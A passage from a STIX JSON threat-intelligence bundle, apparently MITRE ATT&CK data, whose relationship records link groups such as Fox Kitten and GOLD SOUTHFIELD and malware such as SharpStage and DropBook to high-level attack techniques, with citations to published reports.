            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
            "target_ref": "attack-pattern--29ba5a15-3b7b-4732-b817-65ea8f6468e6",
            "external_references": [
                {
                    "source_name": "District Court of NY APT10 Indictment December 2018",
                    "url": "https://www.justice.gov/opa/page/file/1122671/download",
                    "description": "US District Court Southern District of New York. (2018, December 17). United States v. Zhu Hua Indictment. Retrieved December 17, 2020."
                }
            ],
            "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used dynamic DNS service providers to host malicious domains.(Citation: District Court of NY APT10 Indictment December 2018)",
            "relationship_type": "uses",
            "id": "relationship--50b623c1-828f-4a2b-bb9e-38600b071563",
            "type": "relationship",
            "modified": "2020-12-28T15:35:41.915Z",
            "created": "2020-12-17T20:02:13.991Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "attack-pattern--22522668-ddf6-470b-a027-9d6866679f67",
            "target_ref": "attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf",
            "relationship_type": "subtechnique-of",
            "id": "relationship--bb611cd0-6646-4090-82ea-96ca4440afb7",
            "type": "relationship",
            "modified": "2020-12-18T16:33:13.341Z",
            "created": "2020-12-18T16:33:13.341Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--c77c5576-ca19-42ed-a36f-4b4486a84133",
            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "external_references": [
                {
                    "source_name": "Tetra Defense Sodinokibi March 2020",
                    "url": "https://www.tetradefense.com/incident-response-services/cause-and-effect-sodinokibi-ransomware-analysis",
                    "description": "Tetra Defense. (2020, March). CAUSE AND EFFECT: SODINOKIBI RANSOMWARE ANALYSIS. Retrieved December 14, 2020."
                }
            ],
            "description": "[GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) has used the remote monitoring and management tool ConnectWise to obtain screen captures from victim's machines.(Citation: Tetra Defense Sodinokibi March 2020)",
            "relationship_type": "uses",
            "id": "relationship--513f6b4c-c9b1-4339-910e-376b2a908689",
            "type": "relationship",
            "modified": "2020-12-18T16:48:32.674Z",
            "created": "2020-12-18T16:48:32.674Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--c77c5576-ca19-42ed-a36f-4b4486a84133",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "external_references": [
                {
                    "source_name": "Tetra Defense Sodinokibi March 2020",
                    "url": "https://www.tetradefense.com/incident-response-services/cause-and-effect-sodinokibi-ransomware-analysis",
                    "description": "Tetra Defense. (2020, March). CAUSE AND EFFECT: SODINOKIBI RANSOMWARE ANALYSIS. Retrieved December 14, 2020."
                }
            ],
            "description": "[GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) has executed base64 encoded PowerShell scripts on compromised hosts.(Citation: Tetra Defense Sodinokibi March 2020)",
            "relationship_type": "uses",
            "id": "relationship--ba7fad22-26af-43f1-a120-6a4d4269d9ab",
            "type": "relationship",
            "modified": "2020-12-18T16:54:50.273Z",
            "created": "2020-12-18T16:54:50.273Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--c77c5576-ca19-42ed-a36f-4b4486a84133",
            "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736",
            "external_references": [
                {
                    "source_name": "Tetra Defense Sodinokibi March 2020",
                    "url": "https://www.tetradefense.com/incident-response-services/cause-and-effect-sodinokibi-ransomware-analysis",
                    "description": "Tetra Defense. (2020, March). CAUSE AND EFFECT: SODINOKIBI RANSOMWARE ANALYSIS. Retrieved December 14, 2020."
                }
            ],
            "description": "[GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) has staged and executed PowerShell scripts on compromised hosts.(Citation: Tetra Defense Sodinokibi March 2020)",
            "relationship_type": "uses",
            "id": "relationship--deec4c70-b8b5-420b-bdc7-88badae84456",
            "type": "relationship",
            "modified": "2020-12-18T16:54:50.285Z",
            "created": "2020-12-18T16:54:50.285Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "malware--b42378e0-f147-496f-992a-26a49705395b",
            "target_ref": "attack-pattern--22522668-ddf6-470b-a027-9d6866679f67",
            "external_references": [
                {
                    "source_name": "Microsoft PoisonIvy 2017",
                    "url": "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Backdoor%3aWin32%2fPoisonivy.E",
                    "description": "McCormack, M. (2017, September 15). Backdoor:Win32/Poisonivy.E. Retrieved December 21, 2020."
                },
                {
                    "source_name": "paloalto Tropic Trooper 2016",
                    "url": "https://unit42.paloaltonetworks.com/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/",
                    "description": "Ray, V., et al. (2016, November 22). Tropic Trooper Targets Taiwanese Government and Fossil Fuel Provider With Poison Ivy. Retrieved December 18, 2020."
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/02/spear_phishing_techn.html",
                    "description": "Anubhav, A., Kizhakkinan, D. (2017, February 22). Spear Phishing Techniques Used in Attacks Targeting the Mongolian Government. Retrieved February 24, 2017.",
                    "source_name": "FireEye Regsvr32 Targeting Mongolian Gov"
                }
            ],
            "description": "[PoisonIvy](https://attack.mitre.org/software/S0012) creates a Registry key in the Active Setup pointing to a malicious executable.(Citation: Microsoft PoisonIvy 2017)(Citation: paloalto Tropic Trooper 2016)(Citation: FireEye Regsvr32 Targeting Mongolian Gov)",
            "relationship_type": "uses",
            "id": "relationship--64b25323-3b00-404f-afaa-cf1808ac5743",
            "type": "relationship",
            "modified": "2020-12-21T13:37:24.338Z",
            "created": "2020-12-21T13:32:12.798Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f",
            "target_ref": "malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a",
            "external_references": [
                {
                    "source_name": "Crowdstrike GTR2020 Mar 2020",
                    "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf",
                    "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020."
                }
            ],
            "description": "(Citation: Crowdstrike GTR2020 Mar 2020)",
            "relationship_type": "uses",
            "id": "relationship--926523b2-beb0-46e0-a610-c2948ea7bc66",
            "type": "relationship",
            "modified": "2020-12-21T19:08:35.357Z",
            "created": "2020-12-21T19:08:35.357Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--0ba9281c-93fa-4b29-8e9e-7ef918c7b13a",
            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "external_references": [
                {
                    "source_name": "Cybereason Molerats Dec 2020",
                    "url": "https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf",
                    "description": "Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020."
                },
                {
                    "source_name": "BleepingComputer Molerats Dec 2020",
                    "url": "https://www.bleepingcomputer.com/news/security/hacking-group-s-new-malware-abuses-google-and-facebook-services/",
                    "description": "Ilascu, I. (2020, December 14). Hacking group\u2019s new malware abuses Google and Facebook services. Retrieved December 28, 2020."
                }
            ],
            "description": "[SharpStage](https://attack.mitre.org/software/S0546) has the ability to capture the victim's screen.(Citation: Cybereason Molerats Dec 2020)(Citation: BleepingComputer Molerats Dec 2020)",
            "relationship_type": "uses",
            "id": "relationship--45060bf9-f01b-48a2-8a03-082ad7e7945f",
            "type": "relationship",
            "modified": "2020-12-28T21:12:01.801Z",
            "created": "2020-12-22T17:02:53.289Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "malware--0ba9281c-93fa-4b29-8e9e-7ef918c7b13a",
            "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055",
            "external_references": [
                {
                    "source_name": "Cybereason Molerats Dec 2020",
                    "url": "https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf",
                    "description": "Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020."
                },
                {
                    "source_name": "BleepingComputer Molerats Dec 2020",
                    "url": "https://www.bleepingcomputer.com/news/security/hacking-group-s-new-malware-abuses-google-and-facebook-services/",
                    "description": "Ilascu, I. (2020, December 14). Hacking group\u2019s new malware abuses Google and Facebook services. Retrieved December 28, 2020."
                }
            ],
            "description": "[SharpStage](https://attack.mitre.org/software/S0546) can use WMI for execution.(Citation: Cybereason Molerats Dec 2020)(Citation: BleepingComputer Molerats Dec 2020)",
            "relationship_type": "uses",
            "id": "relationship--dcd99f6a-c554-4b04-a962-dc3a5f89cdf9",
            "type": "relationship",
            "modified": "2020-12-28T21:12:01.800Z",
            "created": "2020-12-22T17:02:53.301Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--0ba9281c-93fa-4b29-8e9e-7ef918c7b13a",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "external_references": [
                {
                    "source_name": "Cybereason Molerats Dec 2020",
                    "url": "https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf",
                    "description": "Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020."
                },
                {
                    "source_name": "BleepingComputer Molerats Dec 2020",
                    "url": "https://www.bleepingcomputer.com/news/security/hacking-group-s-new-malware-abuses-google-and-facebook-services/",
                    "description": "Ilascu, I. (2020, December 14). Hacking group\u2019s new malware abuses Google and Facebook services. Retrieved December 28, 2020."
                }
            ],
            "description": "[SharpStage](https://attack.mitre.org/software/S0546) can execute arbitrary commands with the command line.(Citation: Cybereason Molerats Dec 2020)(Citation: BleepingComputer Molerats Dec 2020)",
            "relationship_type": "uses",
            "id": "relationship--31346f8a-0123-4ff8-88ab-4aaccd81377d",
            "type": "relationship",
            "modified": "2020-12-28T21:12:01.787Z",
            "created": "2020-12-22T17:02:53.337Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "malware--0ba9281c-93fa-4b29-8e9e-7ef918c7b13a",
            "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736",
            "external_references": [
                {
                    "source_name": "Cybereason Molerats Dec 2020",
                    "url": "https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf",
                    "description": "Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020."
                },
                {
                    "source_name": "BleepingComputer Molerats Dec 2020",
                    "url": "https://www.bleepingcomputer.com/news/security/hacking-group-s-new-malware-abuses-google-and-facebook-services/",
                    "description": "Ilascu, I. (2020, December 14). Hacking group\u2019s new malware abuses Google and Facebook services. Retrieved December 28, 2020."
                }
            ],
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                    "description": "Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020."
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                    "description": "Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020."
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                    "url": "https://www.bleepingcomputer.com/news/security/hacking-group-s-new-malware-abuses-google-and-facebook-services/",
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                }
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            "description": "[DropBook](https://attack.mitre.org/software/S0547) can collect the names of all files and folders in the Program Files directories.(Citation: Cybereason Molerats Dec 2020)(Citation: BleepingComputer Molerats Dec 2020) ",
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                    "description": "Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020."
                },
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                }
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            "description": "[DropBook](https://attack.mitre.org/software/S0547) can communicate with its operators by exploiting the Simplenote, DropBox, and the social media platform, Facebook, where it can create fake accounts to control the backdoor and receive instructions.(Citation: Cybereason Molerats Dec 2020)(Citation: BleepingComputer Molerats Dec 2020)",
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                    "description": "Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020."
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            "description": "[DropBook](https://attack.mitre.org/software/S0547) can download and execute additional files.(Citation: Cybereason Molerats Dec 2020)(Citation: BleepingComputer Molerats Dec 2020)",
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                    "description": "Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020."
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                    "description": "Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020."
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            ],
            "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee",
            "target_ref": "attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c",
            "external_references": [
                {
                    "source_name": "ClearkSky Fox Kitten February 2020",
                    "url": "https://www.clearskysec.com/fox-kitten/",
                    "description": "ClearSky. (2020, February 16). Fox Kitten \u2013 Widespread Iranian Espionage-Offensive Campaign. Retrieved December 21, 2020."
                },
                {
                    "source_name": "Dragos PARISITE ",
                    "url": "https://www.dragos.com/threat/parisite/",
                    "description": "Dragos. (n.d.). PARISITE. Retrieved December 21, 2020."
                },
                {
                    "source_name": "CrowdStrike PIONEER KITTEN August 2020",
                    "url": "https://www.crowdstrike.com/blog/who-is-pioneer-kitten/",
                    "description": "Orleans, A. (2020, August 31). Who Is PIONEER KITTEN?. Retrieved December 21, 2020."
                },
                {
                    "source_name": "CISA AA20-259A Iran-Based Actor September 2020",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a",
                    "description": "CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."
                },
                {
                    "source_name": "ClearSky Pay2Kitten December 2020",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2020/12/Pay2Kitten.pdf",
                    "description": "ClearSky. (2020, December 17). Pay2Key Ransomware \u2013 A New Campaign by Fox Kitten. Retrieved December 21, 2020."
                }
            ],
            "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has exploited known vulnerabilities in Fortinet, PulseSecure, and Palo Alto VPN appliances.(Citation: ClearkSky Fox Kitten February 2020)(Citation: Dragos PARISITE )(Citation: CrowdStrike PIONEER KITTEN August 2020)(Citation: CISA AA20-259A Iran-Based Actor September 2020)(Citation: ClearSky Pay2Kitten December 2020)",
            "relationship_type": "uses",
            "id": "relationship--6d4f3696-caa9-4100-bef5-e42d0f18470e",
            "type": "relationship",
            "modified": "2020-12-29T20:23:05.329Z",
            "created": "2020-12-22T20:20:36.543Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee",
            "target_ref": "attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82",
            "external_references": [
                {
                    "source_name": "ClearkSky Fox Kitten February 2020",
                    "url": "https://www.clearskysec.com/fox-kitten/",
                    "description": "ClearSky. (2020, February 16). Fox Kitten \u2013 Widespread Iranian Espionage-Offensive Campaign. Retrieved December 21, 2020."
                },
                {
                    "source_name": "CrowdStrike PIONEER KITTEN August 2020",
                    "url": "https://www.crowdstrike.com/blog/who-is-pioneer-kitten/",
                    "description": "Orleans, A. (2020, August 31). Who Is PIONEER KITTEN?. Retrieved December 21, 2020."
                },
                {
                    "source_name": "ClearSky Pay2Kitten December 2020",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2020/12/Pay2Kitten.pdf",
                    "description": "ClearSky. (2020, December 17). Pay2Key Ransomware \u2013 A New Campaign by Fox Kitten. Retrieved December 21, 2020."
                }
            ],
            "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has exploited known vulnerabilities in remote services including RDP.(Citation: ClearkSky Fox Kitten February 2020)(Citation: CrowdStrike PIONEER KITTEN August 2020)(Citation: ClearSky Pay2Kitten December 2020)",
            "relationship_type": "uses",
            "id": "relationship--1cfc2e72-a9ce-4dc2-95ad-fb99c90a2880",
            "type": "relationship",
            "modified": "2021-01-04T14:59:30.624Z",
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        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee",
            "target_ref": "malware--911fe4c3-444d-4e92-83b8-cc761ac5fd3b",
            "external_references": [
                {
                    "source_name": "CrowdStrike PIONEER KITTEN August 2020",
                    "url": "https://www.crowdstrike.com/blog/who-is-pioneer-kitten/",
                    "description": "Orleans, A. (2020, August 31). Who Is PIONEER KITTEN?. Retrieved December 21, 2020."
                }
            ],
            "description": "(Citation: CrowdStrike PIONEER KITTEN August 2020)",
            "relationship_type": "uses",
            "id": "relationship--a1096af2-bc65-422d-9a1a-be9baf098227",
            "type": "relationship",
            "modified": "2020-12-22T20:39:04.816Z",
            "created": "2020-12-22T20:39:04.816Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee",
            "target_ref": "attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b",
            "external_references": [
                {
                    "source_name": "CrowdStrike PIONEER KITTEN August 2020",
                    "url": "https://www.crowdstrike.com/blog/who-is-pioneer-kitten/",
                    "description": "Orleans, A. (2020, August 31). Who Is PIONEER KITTEN?. Retrieved December 21, 2020."
                },
                {
                    "source_name": "CISA AA20-259A Iran-Based Actor September 2020",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a",
                    "description": "CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."
                },
                {
                    "source_name": "ClearSky Pay2Kitten December 2020",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2020/12/Pay2Kitten.pdf",
                    "description": "ClearSky. (2020, December 17). Pay2Key Ransomware \u2013 A New Campaign by Fox Kitten. Retrieved December 21, 2020."
                }
            ],
            "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has used protocol tunneling for communication and RDP activity on compromised hosts through the use of open source tools such as [Ngrok](https://attack.mitre.org/software/S0508) and custom tool SSHMinion.(Citation: CrowdStrike PIONEER KITTEN August 2020)(Citation: CISA AA20-259A Iran-Based Actor September 2020)(Citation: ClearSky Pay2Kitten December 2020)",
            "relationship_type": "uses",
            "id": "relationship--bdaf3340-0580-4e89-9cdc-e0af5a91ed85",
            "type": "relationship",
            "modified": "2020-12-29T20:23:05.374Z",
            "created": "2020-12-22T20:43:14.335Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee",
            "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88",
            "external_references": [
                {
                    "source_name": "CISA AA20-259A Iran-Based Actor September 2020",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a",
                    "description": "CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."
                },
                {
                    "source_name": "ClearSky Pay2Kitten December 2020",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2020/12/Pay2Kitten.pdf",
                    "description": "ClearSky. (2020, December 17). Pay2Key Ransomware \u2013 A New Campaign by Fox Kitten. Retrieved December 21, 2020."
                }
            ],
            "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has used tools including NMAP to conduct broad scanning to identify open ports.(Citation: CISA AA20-259A Iran-Based Actor September 2020)(Citation: ClearSky Pay2Kitten December 2020)",
            "relationship_type": "uses",
            "id": "relationship--dd0c5079-1bd3-45fa-b8e7-aabf0a5513b7",
            "type": "relationship",
            "modified": "2020-12-29T20:23:05.369Z",
            "created": "2020-12-22T20:52:34.788Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee",
            "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81",
            "external_references": [
                {
                    "source_name": "CISA AA20-259A Iran-Based Actor September 2020",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a",
                    "description": "CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."
                }
            ],
            "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has used valid credentials with various services during lateral movement.(Citation: CISA AA20-259A Iran-Based Actor September 2020)",
            "relationship_type": "uses",
            "id": "relationship--db08c6bc-0a2a-41f3-bcb2-5410f9e0afa6",
            "type": "relationship",
            "modified": "2021-04-20T22:02:32.999Z",
            "created": "2020-12-22T20:56:28.406Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee",
            "target_ref": "attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb",
            "external_references": [
                {
                    "source_name": "CISA AA20-259A Iran-Based Actor September 2020",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a",
                    "description": "CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."
                },
                {
                    "source_name": "ClearSky Pay2Kitten December 2020",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2020/12/Pay2Kitten.pdf",
                    "description": "ClearSky. (2020, December 17). Pay2Key Ransomware \u2013 A New Campaign by Fox Kitten. Retrieved December 21, 2020."
                }
            ],
            "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has installed web shells on compromised hosts to maintain access.(Citation: CISA AA20-259A Iran-Based Actor September 2020)(Citation: ClearSky Pay2Kitten December 2020)",
            "relationship_type": "uses",
            "id": "relationship--96772bc0-7a9e-4688-95a2-67fff1646be4",
            "type": "relationship",
            "modified": "2020-12-29T20:23:05.371Z",
            "created": "2020-12-22T21:03:01.890Z"
        },
        {
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee",
            "target_ref": "malware--5a3a31fe-5a8f-48e1-bff0-a753e5b1be70",
            "external_references": [
                {
                    "source_name": "CISA AA20-259A Iran-Based Actor September 2020",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a",
                    "description": "CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."
                }
            ],
            "description": "(Citation: CISA AA20-259A Iran-Based Actor September 2020)",
            "relationship_type": "uses",
            "id": "relationship--68efc544-05be-454e-86e9-18d55c7d0f2b",
            "type": "relationship",
            "modified": "2020-12-22T21:05:13.875Z",
            "created": "2020-12-22T21:05:13.875Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--0ba9281c-93fa-4b29-8e9e-7ef918c7b13a",
            "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665",
            "external_references": [
                {
                    "source_name": "Cybereason Molerats Dec 2020",
                    "url": "https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf",
                    "description": "Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020."
                }
            ],
            "description": "[SharpStage](https://attack.mitre.org/software/S0546) has used a legitimate web service for evading detection.(Citation: Cybereason Molerats Dec 2020) ",
            "relationship_type": "uses",
            "id": "relationship--3a200957-9a8b-407e-a23f-cea1ef8236e6",
            "type": "relationship",
            "modified": "2020-12-23T12:48:28.394Z",
            "created": "2020-12-23T12:48:28.394Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "malware--3ae6097d-d700-46c6-8b21-42fc0bcb48fa",
            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "external_references": [
                {
                    "source_name": "Cybereason Molerats Dec 2020",
                    "url": "https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf",
                    "description": "Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020."
                }
            ],
            "description": "[DropBook](https://attack.mitre.org/software/S0547) can unarchive data downloaded from the C2 to obtain the payload and persistence modules.(Citation: Cybereason Molerats Dec 2020) ",
            "relationship_type": "uses",
            "id": "relationship--8e2b7383-c6dc-40c1-bb88-3176ff98c9dc",
            "type": "relationship",
            "modified": "2020-12-23T13:37:53.541Z",
            "created": "2020-12-23T13:37:53.541Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--3ae6097d-d700-46c6-8b21-42fc0bcb48fa",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "external_references": [
                {
                    "source_name": "Cybereason Molerats Dec 2020",
                    "url": "https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf",
                    "description": "Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020."
                }
            ],
            "description": "[DropBook](https://attack.mitre.org/software/S0547) has checked for the presence of Arabic language in the infected machine's settings.(Citation: Cybereason Molerats Dec 2020) ",
            "relationship_type": "uses",
            "id": "relationship--e11c02c8-e740-489f-925f-33c05c94c80f",
            "type": "relationship",
            "modified": "2020-12-23T13:37:53.558Z",
            "created": "2020-12-23T13:37:53.558Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--03ea629c-517a-41e3-94f8-c7e5368cf8f4",
            "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c",
            "external_references": [
                {
                    "source_name": "Unit42 Molerat Mar 2020",
                    "url": "https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/",
                    "description": "Falcone, R., et al. (2020, March 3). Molerats Delivers Spark Backdoor to Government and Telecommunications Organizations. Retrieved December 14, 2020."
                }
            ],
            "description": "[Spark](https://attack.mitre.org/software/S0543) has encoded communications with the C2 server with base64.(Citation: Unit42 Molerat Mar 2020) ",
            "relationship_type": "uses",
            "id": "relationship--54e27824-ac46-49ca-8b58-dc5726b6cefb",
            "type": "relationship",
            "modified": "2021-04-19T22:03:52.473Z",
            "created": "2020-12-23T16:40:34.170Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
